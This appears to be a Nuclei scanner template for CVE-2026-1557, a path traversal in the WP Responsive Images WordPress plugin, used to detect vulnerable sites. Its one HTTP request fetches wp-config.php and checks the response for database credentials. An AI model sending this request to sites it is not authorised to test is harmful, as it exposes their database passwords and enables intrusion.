id: CVE-2026-1557

info:
  name: WP Responsive Images <= 1.0 - Arbitrary File Read
  author: Shivam Kamboj
  severity: high
  description: |
    WP Responsive Images plugin for WordPress <= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.
  impact: |
    nauthenticated attackers can read arbitrary files, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of WP Responsive Images plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-responsive-images/wp-responsive-images-10-unauthenticated-path-traversal-to-arbitrary-file-read-via-src
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-1557
    epss-score: 0.2889
    epss-percentile: 0.96632
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,wp-responsive-images,vkev

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-responsive-images/image_handler.php?src=/wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code==403'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and
# digest: 490a0046304402203f8cbf3e0cfd75fb4bfa3b644015e83660d1beac8f5a6086d166b06ed2eff1b002203ef91e26af730c00b8a095b9d5ab5b1623f2c7dd0bc0bfa7d8463bf1ffd565e2:922c64590222798bb761d5b6d8e72950